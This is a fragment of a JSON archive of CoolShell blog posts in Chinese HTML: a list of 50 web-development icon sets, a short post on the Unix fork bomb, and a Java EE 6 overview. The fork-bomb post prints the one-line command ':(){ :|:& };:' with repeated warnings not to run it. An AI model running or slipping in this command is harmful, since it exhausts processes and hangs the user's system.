    "content": "<html><body><p>下面是号称最好的50套WEB开发的图标。来源：<a href=\"http://speckyboy.com/2009/02/02/50-of-the-best-ever-web-development-design-and-application-icon-sets\" target=\"_blank\">链接</a></p>\n<p>其它相关的一些文章</p>\n<ul>\n<li><a href=\"http://speckyboy.com/2009/01/26/30-amazingly-creative-social-bookmarks-icon-sets\" target=\"_blank\">30 Amazingly Creative Social Bookmarks Icon Sets ?</a></li>\n<li><a href=\"http://speckyboy.com/2009/01/22/42-amazing-photoshop-and-illustrator-icon-design-tutorials\" target=\"_blank\">42 Amazing Photoshop and Illustrator Icon Design Tutorials ?</a></li>\n<li><a href=\"http://speckyboy.com/2008/07/18/35-free-icon-sets-for-your-iphone-pimp-it-up\" target=\"_blank\">35 Free Icon Sets for your iPhone – Pimp it Up! ?</a></li>\n<li><a href=\"http://speckyboy.com/2008/05/03/top-12-icon-design-video-tutorials\" target=\"_blank\">Top 12 Icon Design Video Tutorials ?</a></li>\n<li><a href=\"http://speckyboy.com/2008/05/03/top-5-free-icon-editors-for-the-pro-designer\" target=\"_blank\">Top 5 Free Icon Editors for the Pro Designer ?</a></li>\n<li><a href=\"http://speckyboy.com/2008/02/05/the-best-icon-search-engines-and-features-for-designers\" target=\"_blank\">The Best Icon Search Engines and Features for Designers ?</a></li>\n</ul>\n<p><span id=\"more-3\"></span></p>\n<p><a href=\"http://sweetie.sublink.ca\" target=\"_blank\">Sweetie – Cute and clear icons</a></p>\n<p><a href=\"http://sweetie.sublink.ca\" target=\"_blank\"><img alt=\"Development Icons\" src=\"../wp-content/uploads/2009/02/webicon3.png\"/></a></p>\n<p><a href=\"http://www.famfamfam.com/lab/icons/mini\" target=\"_blank\">famfamfam – Mini Icons</a></p>\n<p><a href=\"http://www.famfamfam.com/lab/icons/mini\" target=\"_blank\"><img alt=\"Development Icons\" src=\"../wp-content/uploads/2009/02/webicon4.png\"/></a></p>\n<p><a href=\"http://www.monofactor.com/free-vector-icon-set-1-25-icons\" target=\"_blank\">Vector Icon Set</a></p>\n<p><a href=\"http://www.monofactor.com/free-vector-icon-set-1-25-icons\" target=\"_blank\"><img alt=\"Development Icons\" src=\"../wp-content/uploads/2009/02/webicon5.png\"/></a></p>\n<p><a href=\"http://lopagof.deviantart.com/art/facebook-ui-icons-vector-90099876\" target=\"_blank\">Facebook UI Icon Set</a></p>\n<p><a href=\"http://lopagof.deviantart.com/art/facebook-ui-icons-vector-90099876\" target=\"_blank\"><img alt=\"Development Icons\" src=\"../wp-content/uploads/2009/02/webicon6.png\"/></a></p>\n<p><a href=\"http://www.pinvoke.com\" target=\"_blank\">Fugue Icons</a></p>\n<p><a href=\"http://www.pinvoke.com\" target=\"_blank\"><img alt=\"Development Icons\" src=\"../wp-content/uploads/2009/02/webicon7.png\"/></a></p>\n<h3><a href=\"http://paularmstrongdesigns.com/projects/bwpx-icns\" target=\"_blank\">bwpx Icons</a></h3>\n<p><a href=\"http://paularmstrongdesigns.com/projects/bwpx-icns\" target=\"_blank\"><img alt=\"Development Icons\" src=\"../wp-content/uploads/2009/02/webicon1.png\"/></a></p>\n<p><a href=\"http://somerandomdude.com/projects/sanscons\" target=\"_blank\">Sanscons Icon Set</a></p>\n<p><a href=\"http://somerandomdude.com/projects/sanscons\" target=\"_blank\"><img alt=\"Development Icons\" src=\"../wp-content/uploads/2009/02/webicon2.png\"/></a></p>\n<p><a href=\"http://www.pinvoke.com\" target=\"_blank\">Diagona Icons</a></p>\n<p><a href=\"http://www.pinvoke.com\" target=\"_blank\"><img alt=\"Development Icons\" src=\"../wp-content/uploads/2009/02/webicon7a.png\"/></a></p>\n<p><a href=\"http://min.frexy.com/articles/category/milky\" target=\"_blank\">Milky Icon Set</a></p>\n<p><a href=\"http://min.frexy.com/articles/category/milky\" target=\"_blank\"><img alt=\"Development Icons\" src=\"../wp-content/uploads/2009/02/webicon8.png\"/></a></p>\n<p><a href=\"http://pixelresort.com/icon\" target=\"_blank\">Pixelicious Icon Set</a></p>\n<p><a href=\"http://pixelresort.com/icon\" target=\"_blank\"><img alt=\"Development Icons\" src=\"../wp-content/uploads/2009/02/webicon9.png\"/></a></p>\n<p><a href=\"http://www.ineversay.com/my-works/xiao-icon.html\" target=\"_blank\">Xiao Icon Set</a></p>\n<p><a href=\"http://www.ineversay.com/my-works/xiao-icon.html\" target=\"_blank\"><img alt=\"Development Icons\" src=\"../wp-content/uploads/2009/02/webicon10.png\"/></a></p>\n<p><a href=\"http://www.ndesign-studio.com/resources/mini-pixel-icons\" target=\"_blank\">Mini Pixel Icons</a></p>\n<p><a href=\"http://www.ndesign-studio.com/resources/mini-pixel-icons\" target=\"_blank\"><img alt=\"Development Icons\" src=\"../wp-content/uploads/2009/02/webicon11.png\"/></a></p>\n<p><a href=\"http://wefunction.com/2008/07/function-free-icon-set\" target=\"_blank\">Function Icon Set</a></p>\n<p><a href=\"http://wefunction.com/2008/07/function-free-icon-set\" target=\"_blank\"><img alt=\"Development Icons\" src=\"../wp-content/uploads/2009/02/webicon12.png\"/></a></p>\n<p><a href=\"http://www.aspneticons.com\" target=\"_blank\">ASP.NET Icon Set</a></p>\n<p><a href=\"http://www.aspneticons.com\" target=\"_blank\"><img alt=\"Development Icons\" src=\"../wp-content/uploads/2009/02/webicon13.png\"/></a></p>\n<p><a href=\"http://sone-pl.deviantart.com/art/Light-Icons-74036005\" target=\"_blank\">Light Icon Set</a></p>\n<p><a href=\"http://sone-pl.deviantart.com/art/Light-Icons-74036005\" target=\"_blank\"><img alt=\"Development Icons\" src=\"../wp-content/uploads/2009/02/webicon14.png\"/></a></p>\n<p><a href=\"http://www.gosquared.com/liquidicity/archives/122\" target=\"_blank\">Liquidicity Icon Set</a></p>\n<p><a href=\"http://www.gosquared.com/liquidicity/archives/122\" target=\"_blank\"><img alt=\"Development Icons\" src=\"../wp-content/uploads/2009/02/webicon15.png\"/></a></p>\n<p><a href=\"http://www.behance.net/Gallery/iconset-sketchd-up/158535\" target=\"_blank\">“sketch’d up!” Icon Set</a></p>\n<p><a href=\"http://www.behance.net/Gallery/iconset-sketchd-up/158535\" target=\"_blank\"><img alt=\"Development Icons\" src=\"../wp-content/uploads/2009/02/webicon16.png\"/></a></p>\n<p><a href=\"http://www.ganato.com/free_icons/free_icons.php\" target=\"_blank\">Ganato – Psd Icons</a></p>\n<p><a href=\"http://www.ganato.com/free_icons/free_icons.php\" target=\"_blank\"><img alt=\"Development Icons\" src=\"../wp-content/uploads/2009/02/webicon17.png\"/></a></p>\n<p><a href=\"http://code.google.com/p/twotiny\" target=\"_blank\">Two Tone Icon Set</a></p>\n<p><a href=\"http://code.google.com/p/twotiny\" target=\"_blank\"><img alt=\"Development Icons\" src=\"../wp-content/uploads/2009/02/webicon18.png\"/></a></p>\n<p><a href=\"http://code.google.com/p/twotiny\" target=\"_blank\">TwoTiny Icon Set</a></p>\n<p><a href=\"http://code.google.com/p/twotiny\" target=\"_blank\"><img alt=\"Development Icons\" src=\"../wp-content/uploads/2009/02/webicon19.png\"/></a></p>\n<p><a href=\"http://www.oweb2.com/free-web20-icons-pack\" target=\"_blank\">Web2.0 Icons Pack</a></p>\n<p><a href=\"http://www.oweb2.com/free-web20-icons-pack\" target=\"_blank\"><img alt=\"Development Icons\" src=\"../wp-content/uploads/2009/02/webicon20.png\"/></a></p>\n<p><a href=\"http://valkyre.deviantart.com/art/Proxal-Icon-Set-v2-17102198\" target=\"_blank\">Proxal Icon Set v2</a></p>\n<p><a href=\"http://valkyre.deviantart.com/art/Proxal-Icon-Set-v2-17102198\" target=\"_blank\"><img alt=\"Development Icons\" src=\"../wp-content/uploads/2009/02/webicon21.png\"/></a></p>\n<p><a href=\"http://www.brandspankingnew.net/archive/2006/12/hohoho.html\" target=\"_blank\">Brand Spanking New Icon Set</a></p>\n<p><a href=\"http://www.brandspankingnew.net/archive/2006/12/hohoho.html\" target=\"_blank\"><img alt=\"Development Icons\" src=\"../wp-content/uploads/2009/02/webicon22.png\"/></a></p>\n<p><a href=\"http://www.perfect-icons.com/stock-icons/perfect-blog-icons.htm\" target=\"_blank\">Perfect Blog Icons</a></p>\n<p><a href=\"http://www.perfect-icons.com/stock-icons/perfect-blog-icons.htm\" target=\"_blank\"><img alt=\"Development Icons\" src=\"../wp-content/uploads/2009/02/webicon23.png\"/></a></p>\n<p><a href=\"http://yingjunjiu.deviantart.com/art/Web-Application-Icons-Set-77183527\" target=\"_blank\">Web Application Icons</a></p>\n<p><a href=\"http://yingjunjiu.deviantart.com/art/Web-Application-Icons-Set-77183527\" target=\"_blank\"><img alt=\"Development Icons\" src=\"../wp-content/uploads/2009/02/webicon24.png\"/></a></p>\n<p><a href=\"http://kurumizawa.deviantart.com/art/Irokez-cms-icon-set-79949798\" target=\"_blank\">Irokez CMS Icon Set</a></p>\n<p><a href=\"http://kurumizawa.deviantart.com/art/Irokez-cms-icon-set-79949798\" target=\"_blank\"><img alt=\"Development Icons\" src=\"../wp-content/uploads/2009/02/webicon25.png\"/></a></p>\n<p><a href=\"http://icojoy.com/articles/28\" target=\"_blank\">BacktoPixel Icon Set</a></p>\n<p><a href=\"http://icojoy.com/articles/28\" target=\"_blank\"><img alt=\"Development Icons\" src=\"../wp-content/uploads/2009/02/webicon26.png\"/></a></p>\n<p><a href=\"http://www.randomjabber.com/static/sizcons\" target=\"_blank\">Sizcons – Random Jabber</a></p>\n<p><a href=\"http://www.randomjabber.com/static/sizcons\" target=\"_blank\"><img alt=\"Development Icons\" src=\"../wp-content/uploads/2009/02/webicon27.png\"/></a></p>\n<p><a href=\"http://www.famfamfam.com/lab/icons/silk\" target=\"_blank\">famfamfam – Silk Icons</a></p>\n<p><a href=\"http://www.famfamfam.com/lab/icons/silk\" target=\"_blank\"><img alt=\"Development Icons\" src=\"../wp-content/uploads/2009/02/webicon28.png\"/></a></p>\n<p><a href=\"http://www.exploding-boy.com/2005/09/13/explodingboy-pixel-icons\" target=\"_blank\">ExplodingBoy Pixel Icons</a></p>\n<p><a href=\"http://www.exploding-boy.com/2005/09/13/explodingboy-pixel-icons\" target=\"_blank\"><img alt=\"Development Icons\" src=\"../wp-content/uploads/2009/02/webicon29.png\"/></a></p>\n<p><a href=\"http://e-lusion.com/design/greyscale\" target=\"_blank\">Greyscale Icon Development</a></p>\n<p><a href=\"http://e-lusion.com/design/greyscale\" target=\"_blank\"><img alt=\"Development Icons\" src=\"../wp-content/uploads/2009/02/webicon30.png\"/></a></p>\n<p><a href=\"http://www.freeiconsweb.com/16x16_Computer_File_icons.htm\" target=\"_blank\">File icons and Computer Icon Set</a></p>\n<p><a href=\"http://www.freeiconsweb.com/16x16_Computer_File_icons.htm\" target=\"_blank\"><img alt=\"Development Icons\" src=\"../wp-content/uploads/2009/02/webicon31.png\"/></a></p>\n<p><a href=\"http://www.freeiconsweb.com/16x16_arrow_icons.htm\" target=\"_blank\">Small Arrow Icon Set</a></p>\n<p><a href=\"http://www.freeiconsweb.com/16x16_arrow_icons.htm\" target=\"_blank\"><img alt=\"Development Icons\" src=\"../wp-content/uploads/2009/02/webicon32.png\"/></a></p>\n<p><a href=\"http://sryo.deviantart.com/art/minimal-icons-1-8-6-18808605\" target=\"_blank\">Minimal Icons</a></p>\n<p><a href=\"http://sryo.deviantart.com/art/minimal-icons-1-8-6-18808605\" target=\"_blank\"><img alt=\"Development Icons\" src=\"../wp-content/uploads/2009/02/webicon33.png\"/></a></p>\n<p><a href=\"http://bs-markup.de/iconsets\" target=\"_blank\">Markup Iconsets</a></p>\n<p><a href=\"http://bs-markup.de/iconsets\" target=\"_blank\"><img alt=\"Development Icons\" src=\"../wp-content/uploads/2009/02/webicon34.png\"/></a></p>\n<p><a href=\"http://www.websiteicons.net/index.php?p=icons&amp;id=1\" target=\"_blank\">GraphicPUSH Blog Icons</a></p>\n<p><a href=\"http://www.websiteicons.net/index.php?p=icons&amp;id=1\" target=\"_blank\"><img alt=\"Development Icons\" src=\"../wp-content/uploads/2009/02/webicon35.png\"/></a></p>\n<p><a href=\"http://www.websiteicons.net/index.php?p=icons&amp;id=1\" target=\"_blank\">Pixeley Icon Set</a></p>\n<p><a href=\"http://www.websiteicons.net/index.php?p=icons&amp;id=1\" target=\"_blank\"><img alt=\"Development Icons\" src=\"../wp-content/uploads/2009/02/webicon36.png\"/></a></p>\n<p><a href=\"http://www.websiteicons.net/index.php?p=icons&amp;id=1\" target=\"_blank\">Drunkey Love</a></p>\n<p><a href=\"http://www.websiteicons.net/index.php?p=icons&amp;id=1\" target=\"_blank\"><img alt=\"Development Icons\" src=\"../wp-content/uploads/2009/02/webicon37.png\"/></a></p>\n<p><a href=\"http://plainbeta.com/downloads/pixelated-a-lightweight-iconkit\" target=\"_blank\">PIXELATED Icon Set</a></p>\n<p><a href=\"http://plainbeta.com/downloads/pixelated-a-lightweight-iconkit\" target=\"_blank\"><img alt=\"Development Icons\" src=\"../wp-content/uploads/2009/02/webicon38.png\"/></a></p>\n<p><a href=\"http://kyo-tux.deviantart.com/art/Weby-Icons-111008305\" target=\"_blank\">Weby Icons</a></p>\n<p><a href=\"http://kyo-tux.deviantart.com/art/Weby-Icons-111008305\" target=\"_blank\"><img alt=\"Development Icons\" src=\"../wp-content/uploads/2009/02/webicon39.png\"/></a></p>\n<p><a href=\"http://indiandevs.com/devs/webdev-icon-pack-released\" target=\"_blank\">WebDev Icon Pack</a></p>\n<p><a href=\"http://indiandevs.com/devs/webdev-icon-pack-released\" target=\"_blank\"><img alt=\"Development Icons\" src=\"../wp-content/uploads/2009/02/webicon40.png\"/></a></p>\n<p><a href=\"http://dryicons.com/free-icons/preview/stickers-icon-set\" target=\"_blank\">Stickers Icon Set</a></p>\n<p><a href=\"http://dryicons.com/free-icons/preview/stickers-icon-set\" target=\"_blank\"><img alt=\"Development Icons\" src=\"../wp-content/uploads/2009/02/webicon41.png\"/></a></p>\n<p><a href=\"http://dryicons.com/free-icons/preview/wysiwyg-classic\" target=\"_blank\">WYSIWYG Classic Icon Set</a></p>\n<p><a href=\"http://dryicons.com/free-icons/preview/wysiwyg-classic\" target=\"_blank\"><img alt=\"Development Icons\" src=\"../wp-content/uploads/2009/02/webicon42.png\"/></a></p>\n<p><a href=\"http://www.tenbytwenty.com/products/icon-sets/vaga\" target=\"_blank\">Vaga Icon Set</a></p>\n<p><a href=\"http://www.tenbytwenty.com/products/icon-sets/vaga\" target=\"_blank\"><img alt=\"Development Icons\" src=\"../wp-content/uploads/2009/02/webicon43.png\"/></a></p>\n<p><a href=\"http://xlphs.deviantart.com/art/WIP-Web-Iconset-68480659\" target=\"_blank\">WIP – Web Iconset</a></p>\n<p><a href=\"http://xlphs.deviantart.com/art/WIP-Web-Iconset-68480659\" target=\"_blank\"><img alt=\"Development Icons\" src=\"../wp-content/uploads/2009/02/webicon44.png\"/></a></p>\n<p><a href=\"http://icojoy.com/articles/19\" target=\"_blank\">Free web development icons #1</a></p>\n<p><a href=\"http://icojoy.com/articles/19\" target=\"_blank\"><img alt=\"Development Icons\" src=\"../wp-content/uploads/2009/02/webicon45.png\"/></a></p>\n<p><a href=\"http://icojoy.com/articles/24\" target=\"_blank\">Free web development icons #2</a></p>\n<p><a href=\"http://icojoy.com/articles/24\" target=\"_blank\"><img alt=\"Development Icons\" src=\"../wp-content/uploads/2009/02/webicon46.png\"/></a></p>\n<p><a href=\"http://icojoy.com/articles/25\" target=\"_blank\">Free web development icons #3</a></p>\n<p><a href=\"http://icojoy.com/articles/25\" target=\"_blank\"><img alt=\"Development Icons\" src=\"../wp-content/uploads/2009/02/webicon47.png\"/></a></p>\n<p><a href=\"http://www.freeiconsweb.com/16x16_black_icons.htm\" target=\"_blank\">Black Icon Set</a></p>\n<p><a href=\"http://www.freeiconsweb.com/16x16_black_icons.htm\" target=\"_blank\"><img alt=\"Development Icons\" src=\"../wp-content/uploads/2009/02/webicon48.png\"/></a></p>\n<p><a href=\"http://openclipart.org\" target=\"_blank\">Open Clip Art Library</a></p>\n<p><a href=\"http://openclipart.org\" target=\"_blank\"><img alt=\"Development Icons\" src=\"../wp-content/uploads/2009/02/webicon49.png\"/></a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18094.html\"><img alt=\"如何免费的让网站启用HTTPS\" height=\"150\" src=\"../wp-content/uploads/2017/08/enable-https-banner-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18094.html\">如何免费的让网站启用HTTPS</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12225.html\"><img alt=\"DHH 谈混合移动应用开发\" height=\"150\" src=\"../wp-content/uploads/2014/12/1053-DHH-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12225.html\">DHH 谈混合移动应用开发</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12206.html\"><img alt=\"HTML6 展望\" height=\"150\" src=\"../wp-content/uploads/2014/12/html6-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12206.html\">HTML6 展望</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12136.html\"><img alt=\"Google Inbox如何跨平台重用代码？\" height=\"150\" src=\"../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12136.html\">Google Inbox如何跨平台重用代码？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12012.html\"><img alt=\"State Threads 回调终结者\" height=\"150\" src=\"../wp-content/uploads/2014/10/edsm-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12012.html\">State Threads 回调终结者</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3.html\">50套Web开发图标</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-3-2 Fork 系统炸弹.html",
    "content": "<html><body><p>这个炸弹很简单，就是一个命令行，如下所示：</p>\n<pre>:(){ :|:&amp; };:</pre>\n<p>在此，我严重警告你，请不要在你的Unix/Linux或Cygwin的Shell下执行这个命令。否则，这个命令会不停地fork子进程，直到你的整个系统无法响应。</p>\n<p>再次警告你，请不要执行这个命令，除非你想重启你的系统。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12103.html\"><img alt=\"vfork 挂掉的一个问题\" height=\"150\" src=\"../wp-content/uploads/2014/11/tux-fork-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12103.html\">vfork 挂掉的一个问题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7965.html\"><img alt=\"一个fork的面试题\" height=\"150\" src=\"../wp-content/uploads/2012/07/fork01jpg-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7965.html\">一个fork的面试题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1532.html\"><img alt=\"到处都是Unix的胎记\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1532.html\">到处都是Unix的胎记</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10476.html\"><img alt=\"C++11的Lambda使用一例：华容道求解\" height=\"150\" src=\"../wp-content/uploads/2013/10/huarong-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10476.html\">C++11的Lambda使用一例：华容道求解</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17391.html\"><img alt=\"为什么我不在微信公众号上写文章\" height=\"150\" src=\"../wp-content/uploads/2016/07/Community-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17391.html\">为什么我不在微信公众号上写文章</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19219.html\"><img alt=\"打造高效的工作环境 – Shell 篇\" height=\"150\" src=\"../wp-content/uploads/2019/03/linux.ninja_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19219.html\">打造高效的工作环境 – Shell 篇</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/23.html\">Fork 系统炸弹</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-3-2 Java EE6 初探.html",
    "content": "<html><body><p></p>\n<div class=\"item_t\">\n<div class=\"item_desc\" id=\"item_desc_944813350\" style=\"display: inline;\">在<a href=\"http://www.theserverside.com/\" target=\"_blank\" title=\"TSS\">tss</a>上，Reza Rahman发表了一篇关于JAVA EE6<a href=\"http://www.theserverside.com/tt/articles/article.tss?l=JavaEE6Overview\" target=\"_blank\" title=\"《Java EE6 Overview》\">《Java EE6 Overview》</a>的文章，在文章里面他谈及一些关于JavaEE6草案的一些修改内容。</div>\n</div>\n<p>想JAVA企业级应用一路走来，从J2ee到Java EE5 在到即将要推出的Java EE6经历了一个由复杂到简单，由繁到简的过程。</p>\n<p>Reza Rahman 文章说，Java EE6将会更简单，更轻量级，更易部署，Java EE6将会裁剪到Java EE5中不实用的部分。并且Java EE6将会为不同的用户群提供不同的规范子集。</p>\n<p>回顾上一版本Java EE 5中，主要引入了以下改变：<br/>\n1）引入了EJB3.0<br/>\n2）引入了JSF作Tier framework.<br/>\n3）使用JAX-WS2.0取代了JAX-RPC作新一代的SOAP的Web service API<br/>\n4）使用POJO编程，零配置系统和自由的XML减轻了系统的复杂性。</p>\n<p><span id=\"more-5\"></span></p>\n<p>而新版本的Java EE 6中，提供了一个更为简单，新型和完美整全的平台，并提供了非常丰富的技术，其包含WebBeans 1.0和JAX-RS 1.1，以及更为成熟的Servlet 3.0。</p>\n<p>他废除了如下的API:<br/>\n1)JAX-RPC，(被JAX-WS API 取代)<br/>\n2)EJB2.x 实体Beans CMP,（被EJB3.0取代）<br/>\n3)JAXR, Java EE Appcliation Deployment(JSF-88)<br/>\n4)Java EE Management (JSR-77)</p>\n<p>他具体包含了如下组件：<br/>\n1）WebBeans 1.0：它基本上来说整合了 JSF, JPA 和 EJB 3的编程模型。<br/>\n2）JSF 2.0：主要增加了Facelets，Facelets是一个开源的技术，并让JSF支持AJAX，等。<br/>\n3）EJB 3.1：主要加入了单实例Bean的根念，支持cron-style调试，异步调用Session Bean的方法，等。<br/>\n4）JPA 2.0：主要加了一系列的ORM映射扩展（如maps或lists等），增强了EntityManager和Query的APIs，JPQL支持SQL-like CASE, NULLIF, COALESCE，以及加入了Criteria API。<br/>\n5）Servlet 3.0：更为成熟的Servlet引入了Java EE 5模型，更容易配置的web.xml，以及可以通过ServletContext以程序的方式添加Servlets, Filters 和Listeners，等等。<br/>\n6）JAX-RS 1.1：REST 开始逐渐成为WEB开发的范例，JAX-RS主要设计目的是简化REST开发，POJO编程和Annotation配置。</p>\n<p>有关规范的草案可以<a href=\"http://jcp.org/en/jsr/detail?id=316\" target=\"_blank\">http://jcp.org/en/jsr/detail?id=316</a>.这里找到<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11541.html\"><img alt=\"面向GC的Java编程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11541.html\">面向GC的Java编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11454.html\"><img alt=\"从LongAdder看更高效的无锁实现\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11454.html\">从LongAdder看更高效的无锁实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11175.html\"><img alt=\"Java中的CopyOnWrite容器\" height=\"150\" src=\"../wp-content/uploads/2014/03/cow-copy-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11175.html\">Java中的CopyOnWrite容器</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9703.html\"><img alt=\"无锁HashMap的原理与实现\" height=\"150\" src=\"../wp-content/uploads/2013/05/图1-3-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9703.html\">无锁HashMap的原理与实现</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/5.html\">Java EE6 初探</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-3-2 Java书籍Top 10.html",
